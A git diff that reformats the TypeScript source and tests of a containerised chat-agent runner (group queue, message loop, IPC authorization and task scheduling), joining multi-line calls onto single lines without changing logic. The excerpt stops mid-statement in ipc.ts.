a/src/group-queue.test.ts b/src/group-queue.test.ts index d7de517..a7aa286 100644 --- a/src/group-queue.test.ts +++ b/src/group-queue.test.ts @@ -298,12 +298,7 @@ describe('GroupQueue', () => { await vi.advanceTimersByTimeAsync(10); // Register a process so closeStdin has a groupFolder - queue.registerProcess( - 'group1@g.us', - {} as any, - 'container-1', - 'test-group', - ); + queue.registerProcess('group1@g.us', {} as any, 'container-1', 'test-group'); // Enqueue a task while container is active but NOT idle const taskFn = vi.fn(async () => {}); @@ -338,12 +333,7 @@ describe('GroupQueue', () => { await vi.advanceTimersByTimeAsync(10); // Register process and mark idle - queue.registerProcess( - 'group1@g.us', - {} as any, - 'container-1', - 'test-group', - ); + queue.registerProcess('group1@g.us', {} as any, 'container-1', 'test-group'); queue.notifyIdle('group1@g.us'); // Clear previous writes, then enqueue a task @@ -377,12 +367,7 @@ describe('GroupQueue', () => { queue.setProcessMessagesFn(processMessages); queue.enqueueMessageCheck('group1@g.us'); await vi.advanceTimersByTimeAsync(10); - queue.registerProcess( - 'group1@g.us', - {} as any, - 'container-1', - 'test-group', - ); + queue.registerProcess('group1@g.us', {} as any, 'container-1', 'test-group'); // Container becomes idle queue.notifyIdle('group1@g.us'); @@ -418,12 +403,7 @@ describe('GroupQueue', () => { // Start a task (sets isTaskContainer = true) queue.enqueueTask('group1@g.us', 'task-1', taskFn); await vi.advanceTimersByTimeAsync(10); - queue.registerProcess( - 'group1@g.us', - {} as any, - 'container-1', - 'test-group', - ); + queue.registerProcess('group1@g.us', {} as any, 'container-1', 'test-group'); // sendMessage should return false — user messages must not go to task containers const result = queue.sendMessage('group1@g.us', 'hello'); @@ -451,12 +431,7 @@ describe('GroupQueue', () => { await vi.advanceTimersByTimeAsync(10); // Register process and enqueue a task (no idle yet — no preemption) - queue.registerProcess( - 'group1@g.us', - {} as any, - 'container-1', - 'test-group', - ); + queue.registerProcess('group1@g.us', {} as any, 'container-1', 'test-group'); const writeFileSync = vi.mocked(fs.default.writeFileSync); writeFileSync.mockClear(); @@ -473,9 +448,7 @@ describe('GroupQueue', () => { writeFileSync.mockClear(); queue.notifyIdle('group1@g.us'); - closeWrites = writeFileSync.mock.calls.filter( - (call) => typeof call[0] === 'string' && call[0].endsWith('_close'), - ); + closeWrites = writeFileSync.mock.calls.filter((call) => typeof call[0] === 'string' && call[0].endsWith('_close')); expect(closeWrites).toHaveLength(1); resolveProcess!(); diff --git a/src/group-queue.ts b/src/group-queue.ts index a3b547d..5b73e6a 100644 --- a/src/group-queue.ts +++ b/src/group-queue.ts @@ -31,8 +31,7 @@ export class GroupQueue { private groups = new Map(); private activeCount = 0; private waitingGroups: string[] = []; - private processMessagesFn: ((groupJid: string) => Promise) | null = - null; + private processMessagesFn: ((groupJid: string) => Promise) | null = null; private shuttingDown = false; private getGroup(groupJid: string): GroupState { @@ -75,10 +74,7 @@ export class GroupQueue { if (!this.waitingGroups.includes(groupJid)) { this.waitingGroups.push(groupJid); } - logger.debug( - { groupJid, activeCount: this.activeCount }, - 'At concurrency limit, message queued', - ); + logger.debug({ groupJid, activeCount: this.activeCount }, 'At concurrency limit, message queued'); return; } @@ -116,10 +112,7 @@ export class GroupQueue { if (!this.waitingGroups.includes(groupJid)) { this.waitingGroups.push(groupJid); } - logger.debug( - { groupJid, taskId, activeCount: this.activeCount }, - 'At concurrency limit, task queued', - ); + logger.debug({ groupJid, taskId, activeCount: this.activeCount }, 'At concurrency limit, task queued'); return; } @@ -129,12 +122,7 @@ export class GroupQueue { ); } - registerProcess( - groupJid: string, - proc: ChildProcess, - containerName: string, - groupFolder?: string, - ): void { + registerProcess(groupJid: string, proc: ChildProcess, containerName: string, groupFolder?: string): void { const state = this.getGroup(groupJid); state.process = proc; state.containerName = containerName; @@ -159,8 +147,7 @@ export class GroupQueue { */ sendMessage(groupJid: string, text: string): boolean { const state = this.getGroup(groupJid); - if (!state.active || !state.groupFolder || state.isTaskContainer) - return false; + if (!state.active || !state.groupFolder || state.isTaskContainer) return false; state.idleWaiting = false; // Agent is about to receive work, no longer idle const inputDir = path.join(DATA_DIR, 'ipc', state.groupFolder, 'input'); @@ -193,10 +180,7 @@ export class GroupQueue { } } - private async runForGroup( - groupJid: string, - reason: 'messages' | 'drain', - ): Promise { + private async runForGroup(groupJid: string, reason: 'messages' | 'drain'): Promise { const state = this.getGroup(groupJid); state.active = true; state.idleWaiting = false; @@ -204,10 +188,7 @@ export class GroupQueue { state.pendingMessages = false; this.activeCount++; - logger.debug( - { groupJid, reason, activeCount: this.activeCount }, - 'Starting container for group', - ); + logger.debug({ groupJid, reason, activeCount: this.activeCount }, 'Starting container for group'); try { if (this.processMessagesFn) { @@ -239,10 +220,7 @@ export class GroupQueue { state.runningTaskId = task.id; this.activeCount++; - logger.debug( - { groupJid, taskId: task.id, activeCount: this.activeCount }, - 'Running queued task', - ); + logger.debug({ groupJid, taskId: task.id, activeCount: this.activeCount }, 'Running queued task'); try { await task.fn(); @@ -272,10 +250,7 @@ export class GroupQueue { } const delayMs = BASE_RETRY_MS * Math.pow(2, state.retryCount - 1); - logger.info( - { groupJid, retryCount: state.retryCount, delayMs }, - 'Scheduling retry with backoff', - ); + logger.info({ groupJid, retryCount: state.retryCount, delayMs }, 'Scheduling retry with backoff'); setTimeout(() => { if (!this.shuttingDown) { this.enqueueMessageCheck(groupJid); @@ -292,10 +267,7 @@ export class GroupQueue { if (state.pendingTasks.length > 0) { const task = state.pendingTasks.shift()!; this.runTask(groupJid, task).catch((err) => - logger.error( - { groupJid, taskId: task.id, err }, - 'Unhandled error in runTask (drain)', - ), + logger.error({ groupJid, taskId: task.id, err }, 'Unhandled error in runTask (drain)'), ); return; } @@ -303,10 +275,7 @@ export class GroupQueue { // Then pending messages if (state.pendingMessages) { this.runForGroup(groupJid, 'drain').catch((err) => - logger.error( - { groupJid, err }, - 'Unhandled error in runForGroup (drain)', - ), + logger.error({ groupJid, err }, 'Unhandled error in runForGroup (drain)'), ); return; } @@ -316,10 +285,7 @@ export class GroupQueue { } private drainWaiting(): void { - while ( - this.waitingGroups.length > 0 && - this.activeCount < MAX_CONCURRENT_CONTAINERS - ) { + while (this.waitingGroups.length > 0 && this.activeCount < MAX_CONCURRENT_CONTAINERS) { const nextJid = this.waitingGroups.shift()!; const state = this.getGroup(nextJid); @@ -327,17 +293,11 @@ export class GroupQueue { if (state.pendingTasks.length > 0) { const task = state.pendingTasks.shift()!; this.runTask(nextJid, task).catch((err) => - logger.error( - { groupJid: nextJid, taskId: task.id, err }, - 'Unhandled error in runTask (waiting)', - ), + logger.error({ groupJid: nextJid, taskId: task.id, err }, 'Unhandled error in runTask (waiting)'), ); } else if (state.pendingMessages) { this.runForGroup(nextJid, 'drain').catch((err) => - logger.error( - { groupJid: nextJid, err }, - 'Unhandled error in runForGroup (waiting)', - ), + logger.error({ groupJid: nextJid, err }, 'Unhandled error in runForGroup (waiting)'), ); } // If neither pending, skip this group diff --git a/src/index.ts b/src/index.ts index 004764d..ded6b94 100644 --- a/src/index.ts +++ b/src/index.ts @@ -15,20 +15,9 @@ import { TIMEZONE, } from './config.js'; import './channels/index.js'; -import { - getChannelFactory, - getRegisteredChannelNames, -} from './channels/registry.js'; -import { - ContainerOutput, - runContainerAgent, - writeGroupsSnapshot, - writeTasksSnapshot, -} from './container-runner.js'; -import { - cleanupOrphans, - ensureContainerRuntimeRunning, -} from './container-runtime.js'; +import { getChannelFactory, getRegisteredChannelNames } from './channels/registry.js'; +import { ContainerOutput, runContainerAgent, writeGroupsSnapshot, writeTasksSnapshot } from './container-runner.js'; +import { cleanupOrphans, ensureContainerRuntimeRunning } from './container-runtime.js'; import { getAllChats, getAllRegisteredGroups, @@ -50,17 +39,8 @@ import { GroupQueue } from './group-queue.js'; import { resolveGroupFolderPath } from './group-folder.js'; import { startIpcWatcher } from './ipc.js'; import { findChannel, formatMessages, formatOutbound } from './router.js'; -import { - restoreRemoteControl, - startRemoteControl, - stopRemoteControl, -} from './remote-control.js'; -import { - isSenderAllowed, - isTriggerAllowed, - loadSenderAllowlist, - shouldDropMessage, -} from './sender-allowlist.js'; +import { restoreRemoteControl, startRemoteControl, stopRemoteControl } from './remote-control.js'; +import { isSenderAllowed, isTriggerAllowed, loadSenderAllowlist, shouldDropMessage } from './sender-allowlist.js'; import { startSessionCleanup } from './session-cleanup.js'; import { startSchedulerLoop } from './task-scheduler.js'; import { Channel, NewMessage, RegisteredGroup } from './types.js'; @@ -85,16 +65,10 @@ function ensureOneCLIAgent(jid: string, group: RegisteredGroup): void { const identifier = group.folder.toLowerCase().replace(/_/g, '-'); onecli.ensureAgent({ name: group.name, identifier }).then( (res) => { - logger.info( - { jid, identifier, created: res.created }, - 'OneCLI agent ensured', - ); + logger.info({ jid, identifier, created: res.created }, 'OneCLI agent ensured'); }, (err) => { - logger.debug( - { jid, identifier, err: String(err) }, - 'OneCLI agent ensure skipped', - ); + logger.debug({ jid, identifier, err: String(err) }, 'OneCLI agent ensure skipped'); }, ); } @@ -110,10 +84,7 @@ function loadState(): void { } sessions = getAllSessions(); registeredGroups = getAllRegisteredGroups(); - logger.info( - { groupCount: Object.keys(registeredGroups).length }, - 'State loaded', - ); + logger.info({ groupCount: Object.keys(registeredGroups).length }, 'State loaded'); } /** @@ -126,10 +97,7 @@ function getOrRecoverCursor(chatJid: string): string { const botTs = getLastBotMessageTimestamp(chatJid, ASSISTANT_NAME); if (botTs) { - logger.info( - { chatJid, recoveredFrom: botTs }, - 'Recovered message cursor from last bot reply', - ); + logger.info({ chatJid, recoveredFrom: botTs }, 'Recovered message cursor from last bot reply'); lastAgentTimestamp[chatJid] = botTs; saveState(); return botTs; @@ -147,10 +115,7 @@ function registerGroup(jid: string, group: RegisteredGroup): void { try { groupDir = resolveGroupFolderPath(group.folder); } catch (err) { - logger.warn( - { jid, folder: group.folder, err }, - 'Rejecting group registration with invalid folder', - ); + logger.warn({ jid, folder: group.folder, err }, 'Rejecting group registration with invalid folder'); return; } @@ -164,11 +129,7 @@ function registerGroup(jid: string, group: RegisteredGroup): void { // identity and instructions from the first run. (Fixes #1391) const groupMdFile = path.join(groupDir, 'CLAUDE.md'); if (!fs.existsSync(groupMdFile)) { - const templateFile = path.join( - GROUPS_DIR, - group.isMain ? 'main' : 'global', - 'CLAUDE.md', - ); + const templateFile = path.join(GROUPS_DIR, group.isMain ? 'main' : 'global', 'CLAUDE.md'); if (fs.existsSync(templateFile)) { let content = fs.readFileSync(templateFile, 'utf-8'); if (ASSISTANT_NAME !== 'Andy') { @@ -183,10 +144,7 @@ function registerGroup(jid: string, group: RegisteredGroup): void { // Ensure a corresponding OneCLI agent exists (best-effort, non-blocking) ensureOneCLIAgent(jid, group); - logger.info( - { jid, name: group.name, folder: group.folder }, - 'Group registered', - ); + logger.info({ jid, name: group.name, folder: group.folder }, 'Group registered'); } /** @@ -208,9 +166,7 @@ export function getAvailableGroups(): import('./container-runner.js').AvailableG } /** @internal - exported for testing */ -export function _setRegisteredGroups( - groups: Record, -): void { +export function _setRegisteredGroups(groups: Record): void { registeredGroups = groups; } @@ -245,8 +201,7 @@ async function processGroupMessages(chatJid: string): Promise { const allowlistCfg = loadSenderAllowlist(); const hasTrigger = missedMessages.some( (m) => - triggerPattern.test(m.content.trim()) && - (m.is_from_me || isTriggerAllowed(chatJid, m.sender, allowlistCfg)), + triggerPattern.test(m.content.trim()) && (m.is_from_me || isTriggerAllowed(chatJid, m.sender, allowlistCfg)), ); if (!hasTrigger) return true; } @@ -256,14 +211,10 @@ async function processGroupMessages(chatJid: string): Promise { // Advance cursor so the piping path in startMessageLoop won't re-fetch // these messages. Save the old cursor so we can roll back on error. const previousCursor = lastAgentTimestamp[chatJid] || ''; - lastAgentTimestamp[chatJid] = - missedMessages[missedMessages.length - 1].timestamp; + lastAgentTimestamp[chatJid] = missedMessages[missedMessages.length - 1].timestamp; saveState(); - logger.info( - { group: group.name, messageCount: missedMessages.length }, - 'Processing messages', - ); + logger.info({ group: group.name, messageCount: missedMessages.length }, 'Processing messages'); // Track idle timer for closing stdin when agent is idle let idleTimer: ReturnType | null = null; @@ -271,10 +222,7 @@ async function processGroupMessages(chatJid: string): Promise { const resetIdleTimer = () => { if (idleTimer) clearTimeout(idleTimer); idleTimer = setTimeout(() => { - logger.debug( - { group: group.name }, - 'Idle timeout, closing container stdin', - ); + logger.debug({ group: group.name }, 'Idle timeout, closing container stdin'); queue.closeStdin(chatJid); }, IDLE_TIMEOUT); }; @@ -286,10 +234,7 @@ async function processGroupMessages(chatJid: string): Promise { const output = await runAgent(group, prompt, chatJid, async (result) => { // Streaming output callback — called for each agent result if (result.result) { - const raw = - typeof result.result === 'string' - ? result.result - : JSON.stringify(result.result); + const raw = typeof result.result === 'string' ? result.result : JSON.stringify(result.result); // Strip ... blocks — agent uses these for internal reasoning const text = raw.replace(/[\s\S]*?<\/internal>/g, '').trim(); logger.info({ group: group.name }, `Agent output: ${raw.length} chars`); @@ -326,10 +271,7 @@ async function processGroupMessages(chatJid: string): Promise { // Roll back cursor so retries can re-process these messages lastAgentTimestamp[chatJid] = previousCursor; saveState(); - logger.warn( - { group: group.name }, - 'Agent error, rolled back message cursor for retry', - ); + logger.warn({ group: group.name }, 'Agent error, rolled back message cursor for retry'); return false; } @@ -364,12 +306,7 @@ async function runAgent( // Update available groups snapshot (main group only can see all groups) const availableGroups = getAvailableGroups(); - writeGroupsSnapshot( - group.folder, - isMain, - availableGroups, - new Set(Object.keys(registeredGroups)), - ); + writeGroupsSnapshot(group.folder, isMain, availableGroups, new Set(Object.keys(registeredGroups))); // Wrap onOutput to track session ID from streamed results const wrappedOnOutput = onOutput @@ -393,8 +330,7 @@ async function runAgent( isMain, assistantName: ASSISTANT_NAME, }, - (proc, containerName) => - queue.registerProcess(chatJid, proc, containerName, group.folder), + (proc, containerName) => queue.registerProcess(chatJid, proc, containerName, group.folder), wrappedOnOutput, ); @@ -409,11 +345,7 @@ async function runAgent( // deletion, or disk-full. The existing backoff in group-queue.ts // handles the retry; we just need to remove the broken session ID. const isStaleSession = - sessionId && - output.error && - /no conversation found|ENOENT.*\.jsonl|session.*not found/i.test( - output.error, - ); + sessionId && output.error && /no conversation found|ENOENT.*\.jsonl|session.*not found/i.test(output.error); if (isStaleSession) { logger.warn( @@ -424,10 +356,7 @@ async function runAgent( deleteSession(group.folder); } - logger.error( - { group: group.name, error: output.error }, - 'Container agent error', - ); + logger.error({ group: group.name, error: output.error }, 'Container agent error'); return 'error'; } @@ -450,11 +379,7 @@ async function startMessageLoop(): Promise { while (true) { try { const jids = Object.keys(registeredGroups); - const { messages, newTimestamp } = getNewMessages( - jids, - lastTimestamp, - ASSISTANT_NAME, - ); + const { messages, newTimestamp } = getNewMessages(jids, lastTimestamp, ASSISTANT_NAME); if (messages.length > 0) { logger.info({ count: messages.length }, 'New messages'); @@ -496,8 +421,7 @@ async function startMessageLoop(): Promise { const hasTrigger = groupMessages.some( (m) => triggerPattern.test(m.content.trim()) && - (m.is_from_me || - isTriggerAllowed(chatJid, m.sender, allowlistCfg)), + (m.is_from_me || isTriggerAllowed(chatJid, m.sender, allowlistCfg)), ); if (!hasTrigger) continue; } @@ -510,24 +434,17 @@ async function startMessageLoop(): Promise { ASSISTANT_NAME, MAX_MESSAGES_PER_PROMPT, ); - const messagesToSend = - allPending.length > 0 ? allPending : groupMessages; + const messagesToSend = allPending.length > 0 ? allPending : groupMessages; const formatted = formatMessages(messagesToSend, TIMEZONE); if (queue.sendMessage(chatJid, formatted)) { - logger.debug( - { chatJid, count: messagesToSend.length }, - 'Piped messages to active container', - ); - lastAgentTimestamp[chatJid] = - messagesToSend[messagesToSend.length - 1].timestamp; + logger.debug({ chatJid, count: messagesToSend.length }, 'Piped messages to active container'); + lastAgentTimestamp[chatJid] = messagesToSend[messagesToSend.length - 1].timestamp; saveState(); // Show typing indicator while the container processes the piped message channel .setTyping?.(chatJid, true) - ?.catch((err) => - logger.warn({ chatJid, err }, 'Failed to set typing indicator'), - ); + ?.catch((err) => logger.warn({ chatJid, err }, 'Failed to set typing indicator')); } else { // No active container — enqueue for a new one queue.enqueueMessageCheck(chatJid); @@ -547,17 +464,9 @@ async function startMessageLoop(): Promise { */ function recoverPendingMessages(): void { for (const [chatJid, group] of Object.entries(registeredGroups)) { - const pending = getMessagesSince( - chatJid, - getOrRecoverCursor(chatJid), - ASSISTANT_NAME, - MAX_MESSAGES_PER_PROMPT, - ); + const pending = getMessagesSince(chatJid, getOrRecoverCursor(chatJid), ASSISTANT_NAME, MAX_MESSAGES_PER_PROMPT); if (pending.length > 0) { - logger.info( - { group: group.name, pendingCount: pending.length }, - 'Recovery: found unprocessed messages', - ); + logger.info({ group: group.name, pendingCount: pending.length }, 'Recovery: found unprocessed messages'); queue.enqueueMessageCheck(chatJid); } } @@ -593,17 +502,10 @@ async function main(): Promise { process.on('SIGINT', () => shutdown('SIGINT')); // Handle /remote-control and /remote-control-end commands - async function handleRemoteControl( - command: string, - chatJid: string, - msg: NewMessage, - ): Promise { + async function handleRemoteControl(command: string, chatJid: string, msg: NewMessage): Promise { const group = registeredGroups[chatJid]; if (!group?.isMain) { - logger.warn( - { chatJid, sender: msg.sender }, - 'Remote control rejected: not main group', - ); + logger.warn({ chatJid, sender: msg.sender }, 'Remote control rejected: not main group'); return; } @@ -611,18 +513,11 @@ async function main(): Promise { if (!channel) return; if (command === '/remote-control') { - const result = await startRemoteControl( - msg.sender, - chatJid, - process.cwd(), - ); + const result = await startRemoteControl(msg.sender, chatJid, process.cwd()); if (result.ok) { await channel.sendMessage(chatJid, result.url); } else { - await channel.sendMessage( - chatJid, - `Remote Control failed: ${result.error}`, - ); + await channel.sendMessage(chatJid, `Remote Control failed: ${result.error}`); } } else { const result = stopRemoteControl(); @@ -649,28 +544,17 @@ async function main(): Promise { // Sender allowlist drop mode: discard messages from denied senders before storing if (!msg.is_from_me && !msg.is_bot_message && registeredGroups[chatJid]) { const cfg = loadSenderAllowlist(); - if ( - shouldDropMessage(chatJid, cfg) && - !isSenderAllowed(chatJid, msg.sender, cfg) - ) { + if (shouldDropMessage(chatJid, cfg) && !isSenderAllowed(chatJid, msg.sender, cfg)) { if (cfg.logDenied) { - logger.debug( - { chatJid, sender: msg.sender }, - 'sender-allowlist: dropping message (drop mode)', - ); + logger.debug({ chatJid, sender: msg.sender }, 'sender-allowlist: dropping message (drop mode)'); } return; } } storeMessage(msg); }, - onChatMetadata: ( - chatJid: string, - timestamp: string, - name?: string, - channel?: string, - isGroup?: boolean, - ) => storeChatMetadata(chatJid, timestamp, name, channel, isGroup), + onChatMetadata: (chatJid: string, timestamp: string, name?: string, channel?: string, isGroup?: boolean) => + storeChatMetadata(chatJid, timestamp, name, channel, isGroup), registeredGroups: () => registeredGroups, }; @@ -721,15 +605,10 @@ async function main(): Promise { registeredGroups: () => registeredGroups, registerGroup, syncGroups: async (force: boolean) => { - await Promise.all( - channels - .filter((ch) => ch.syncGroups) - .map((ch) => ch.syncGroups!(force)), - ); + await Promise.all(channels.filter((ch) => ch.syncGroups).map((ch) => ch.syncGroups!(force))); }, getAvailableGroups, - writeGroupsSnapshot: (gf, im, ag, rj) => - writeGroupsSnapshot(gf, im, ag, rj), + writeGroupsSnapshot: (gf, im, ag, rj) => writeGroupsSnapshot(gf, im, ag, rj), onTasksChanged: () => { const tasks = getAllTasks(); const taskRows = tasks.map((t) => ({ @@ -758,9 +637,7 @@ async function main(): Promise { // Guard: only run when executed directly, not when imported by tests const isDirectRun = - process.argv[1] && - new URL(import.meta.url).pathname === - new URL(`file://${process.argv[1]}`).pathname; + process.argv[1] && new URL(import.meta.url).pathname === new URL(`file://${process.argv[1]}`).pathname; if (isDirectRun) { main().catch((err) => { diff --git a/src/ipc-auth.test.ts b/src/ipc-auth.test.ts index 0adf899..c5bcd51 100644 --- a/src/ipc-auth.test.ts +++ b/src/ipc-auth.test.ts @@ -176,32 +176,17 @@ describe('pause_task authorization', () => { }); it('main group can pause any task', async () => { - await processTaskIpc( - { type: 'pause_task', taskId: 'task-other' }, - 'whatsapp_main', - true, - deps, - ); + await processTaskIpc({ type: 'pause_task', taskId: 'task-other' }, 'whatsapp_main', true, deps); expect(getTaskById('task-other')!.status).toBe('paused'); }); it('non-main group can pause its own task', async () => { - await processTaskIpc( - { type: 'pause_task', taskId: 'task-other' }, - 'other-group', - false, - deps, - ); + await processTaskIpc({ type: 'pause_task', taskId: 'task-other' }, 'other-group', false, deps); expect(getTaskById('task-other')!.status).toBe('paused'); }); it('non-main group cannot pause another groups task', async () => { - await processTaskIpc( - { type: 'pause_task', taskId: 'task-main' }, - 'other-group', - false, - deps, - ); + await processTaskIpc({ type: 'pause_task', taskId: 'task-main' }, 'other-group', false, deps); expect(getTaskById('task-main')!.status).toBe('active'); }); }); @@ -225,32 +210,17 @@ describe('resume_task authorization', () => { }); it('main group can resume any task', async () => { - await processTaskIpc( - { type: 'resume_task', taskId: 'task-paused' }, - 'whatsapp_main', - true, - deps, - ); + await processTaskIpc({ type: 'resume_task', taskId: 'task-paused' }, 'whatsapp_main', true, deps); expect(getTaskById('task-paused')!.status).toBe('active'); }); it('non-main group can resume its own task', async () => { - await processTaskIpc( - { type: 'resume_task', taskId: 'task-paused' }, - 'other-group', - false, - deps, - ); + await processTaskIpc({ type: 'resume_task', taskId: 'task-paused' }, 'other-group', false, deps); expect(getTaskById('task-paused')!.status).toBe('active'); }); it('non-main group cannot resume another groups task', async () => { - await processTaskIpc( - { type: 'resume_task', taskId: 'task-paused' }, - 'third-group', - false, - deps, - ); + await processTaskIpc({ type: 'resume_task', taskId: 'task-paused' }, 'third-group', false, deps); expect(getTaskById('task-paused')!.status).toBe('paused'); }); }); @@ -272,12 +242,7 @@ describe('cancel_task authorization', () => { created_at: '2024-01-01T00:00:00.000Z', }); - await processTaskIpc( - { type: 'cancel_task', taskId: 'task-to-cancel' }, - 'whatsapp_main', - true, - deps, - ); + await processTaskIpc({ type: 'cancel_task', taskId: 'task-to-cancel' }, 'whatsapp_main', true, deps); expect(getTaskById('task-to-cancel')).toBeUndefined(); }); @@ -295,12 +260,7 @@ describe('cancel_task authorization', () => { created_at: '2024-01-01T00:00:00.000Z', }); - await processTaskIpc( - { type: 'cancel_task', taskId: 'task-own' }, - 'other-group', - false, - deps, - ); + await processTaskIpc({ type: 'cancel_task', taskId: 'task-own' }, 'other-group', false, deps); expect(getTaskById('task-own')).toBeUndefined(); }); @@ -318,12 +278,7 @@ describe('cancel_task authorization', () => { created_at: '2024-01-01T00:00:00.000Z', }); - await processTaskIpc( - { type: 'cancel_task', taskId: 'task-foreign' }, - 'other-group', - false, - deps, - ); + await processTaskIpc({ type: 'cancel_task', taskId: 'task-foreign' }, 'other-group', false, deps); expect(getTaskById('task-foreign')).toBeDefined(); }); }); @@ -372,12 +327,7 @@ describe('register_group authorization', () => { describe('refresh_groups authorization', () => { it('non-main group cannot trigger refresh', async () => { // This should be silently blocked (no crash, no effect) - await processTaskIpc( - { type: 'refresh_groups' }, - 'other-group', - false, - deps, - ); + await processTaskIpc({ type: 'refresh_groups' }, 'other-group', false, deps); // If we got here without error, the auth gate worked }); }); @@ -399,40 +349,26 @@ describe('IPC message authorization', () => { } it('main group can send to any group', () => { - expect( - isMessageAuthorized('whatsapp_main', true, 'other@g.us', groups), - ).toBe(true); - expect( - isMessageAuthorized('whatsapp_main', true, 'third@g.us', groups), - ).toBe(true); + expect(isMessageAuthorized('whatsapp_main', true, 'other@g.us', groups)).toBe(true); + expect(isMessageAuthorized('whatsapp_main', true, 'third@g.us', groups)).toBe(true); }); it('non-main group can send to its own chat', () => { - expect( - isMessageAuthorized('other-group', false, 'other@g.us', groups), - ).toBe(true); + expect(isMessageAuthorized('other-group', false, 'other@g.us', groups)).toBe(true); }); it('non-main group cannot send to another groups chat', () => { - expect(isMessageAuthorized('other-group', false, 'main@g.us', groups)).toBe( - false, - ); - expect( - isMessageAuthorized('other-group', false, 'third@g.us', groups), - ).toBe(false); + expect(isMessageAuthorized('other-group', false, 'main@g.us', groups)).toBe(false); + expect(isMessageAuthorized('other-group', false, 'third@g.us', groups)).toBe(false); }); it('non-main group cannot send to unregistered JID', () => { - expect( - isMessageAuthorized('other-group', false, 'unknown@g.us', groups), - ).toBe(false); + expect(isMessageAuthorized('other-group', false, 'unknown@g.us', groups)).toBe(false); }); it('main group can send to unregistered JID', () => { // Main is always authorized regardless of target - expect( - isMessageAuthorized('whatsapp_main', true, 'unknown@g.us', groups), - ).toBe(true); + expect(isMessageAuthorized('whatsapp_main', true, 'unknown@g.us', groups)).toBe(true); }); }); @@ -458,9 +394,7 @@ describe('schedule_task schedule types', () => { expect(tasks[0].schedule_type).toBe('cron'); expect(tasks[0].next_run).toBeTruthy(); // next_run should be a valid ISO date in the future - expect(new Date(tasks[0].next_run!).getTime()).toBeGreaterThan( - Date.now() - 60000, - ); + expect(new Date(tasks[0].next_run!).getTime()).toBeGreaterThan(Date.now() - 60000); }); it('rejects invalid cron expression', async () => { diff --git a/src/ipc.ts b/src/ipc.ts index e171671..badccb4 100644 --- a/src/ipc.ts +++ b/src/ipc.ts @@ -67,9 +67,7 @@ export function startIpcWatcher(deps: IpcDeps): void { // Process messages from this group's IPC directory try { if (fs.existsSync(messagesDir)) { - const messageFiles = fs - .readdirSync(messagesDir) - .filter((f) => f.endsWith('.json')); + const messageFiles = fs.readdirSync(messagesDir).filter((f) => f.endsWith('.json')); for (const file of messageFiles) { const filePath = path.join(messagesDir, file); try { @@ -77,50 +75,30 @@ export function startIpcWatcher(deps: IpcDeps): void { if (data.type === 'message' && data.chatJid && data.text) { // Authorization: verify this group can send to this chatJid const targetGroup = registeredGroups[data.chatJid]; - if ( - isMain || - (targetGroup && targetGroup.folder === sourceGroup) - ) { + if (isMain || (targetGroup && targetGroup.folder === sourceGroup)) { await deps.sendMessage(data.chatJid, data.text); - logger.info( - { chatJid: data.chatJid, sourceGroup }, - 'IPC message sent', - ); + logger.info({ chatJid: data.chatJid, sourceGroup }, 'IPC message sent'); } else { - logger.warn( - { chatJid: data.chatJid, sourceGroup }, - 'Unauthorized IPC message attempt blocked', - ); + logger.warn({ chatJid: data.chatJid, sourceGroup }, 'Unauthorized IPC message attempt blocked'); } } fs.unlinkSync(filePath); } catch (err) { - logger.error( - { file, sourceGroup, err }, - 'Error processing IPC message', - ); + logger.error({ file, sourceGroup, err }, 'Error processing IPC message'); const errorDir = path.join(ipcBaseDir, 'errors'); fs.mkdirSync(errorDir, { recursive: true }); - fs.renameSync( - filePath, - path.join(errorDir, `${sourceGroup}-${file}`), - ); + fs.renameSync(filePath, path.join(errorDir, `${sourceGroup}-${file}`)); } } } } catch (err) { - logger.error( - { err, sourceGroup }, - 'Error reading IPC messages directory', - ); + logger.error({ err, sourceGroup }, 'Error reading IPC messages directory'); } // Process tasks from this group's IPC directory try { if (fs.existsSync(tasksDir)) { - const taskFiles = fs - .readdirSync(tasksDir) - .filter((f) => f.endsWith('.json')); + const taskFiles = fs.readdirSync(tasksDir).filter((f) => f.endsWith('.json')); for (const file of taskFiles) { const filePath = path.join(tasksDir, file); try { @@ -129,16 +107,10 @@ export function startIpcWatcher(deps: IpcDeps): void { await processTaskIpc(data, sourceGroup, isMain, deps); fs.unlinkSync(filePath); } catch (err) { - logger.error( - { file, sourceGroup, err }, - 'Error processing IPC task', - ); + logger.error({ file, sourceGroup, err }, 'Error processing IPC task'); const errorDir = path.join(ipcBaseDir, 'errors'); fs.mkdirSync(errorDir, { recursive: true }); - fs.renameSync( - filePath, - path.join(errorDir, `${sourceGroup}-${file}`), - ); + fs.renameSync(filePath, path.join(errorDir, `${sourceGroup}-${file}`)); } } } @@ -182,21 +154,13 @@ export async function processTaskIpc( switch (data.type) { case 'schedule_task': - if ( - data.prompt && - data.schedule_type && - data.schedule_value && - data.targetJid - ) { + if (data.prompt && data.schedule_type && data.schedule_value && data.targetJid) { // Resolve the target group from JID const targetJid = data.targetJid as string; const targetGroupEntry = registeredGroups[targetJid]; if (!targetGroupEntry) { - logger.warn( - { targetJid }, - 'Cannot schedule task: target group not registered', - ); + logger.warn({ targetJid }, 'Cannot schedule task: target group not registered'); break; } @@ -204,10 +168,7 @@ export async function processTaskIpc( // Authorization: non-main groups can only schedule for themselves if (!isMain && targetFolder !== sourceGroup) { - logger.warn( - { sourceGroup, targetFolder }, - 'Unauthorized schedule_task attempt blocked', - ); + logger.warn({ sourceGroup, targetFolder }, 'Unauthorized schedule_task attempt blocked'); break; } @@ -221,41 +182,28 @@ export async function processTaskIpc( }); nextRun = interval.next().toISOString(); } catch { - logger.warn( - { scheduleValue: data.schedule_value }, - 'Invalid cron expression', - ); + logger.warn({ scheduleValue: data.schedule_value }, 'Invalid cron expression'); break; } } else if (scheduleType === 'interval') { const ms = parseInt(data.schedule_value, 10); if (isNaN(ms) || ms <= 0) { - logger.warn( - { scheduleValue: data.schedule_value }, - 'Invalid interval', - ); + logger.warn({ scheduleValue: data.schedule_value }, 'Invalid interval'); break; } nextRun = new Date(Date.now() + ms).toISOString(); } else if (scheduleType === 'once') { const date = new Date(data.schedule_value); if (isNaN(date.getTime())) { - logger.warn( - { scheduleValue: data.schedule_value }, - 'Invalid timestamp', - ); + logger.warn({ scheduleValue: data.schedule_value }, 'Invalid timestamp'); break; } nextRun = date.toISOString(); } - const taskId = - data.taskId || - `task-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; + const taskId = data.taskId || `task-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; const contextMode = - data.context_mode === 'group' || data.context_mode === 'isolated' - ? data.context_mode - : 'isolated'; + data.context_mode === 'group' || data.context_mode === 'isolated' ? data.context_mode : 'isolated'; createTask({ id: taskId, 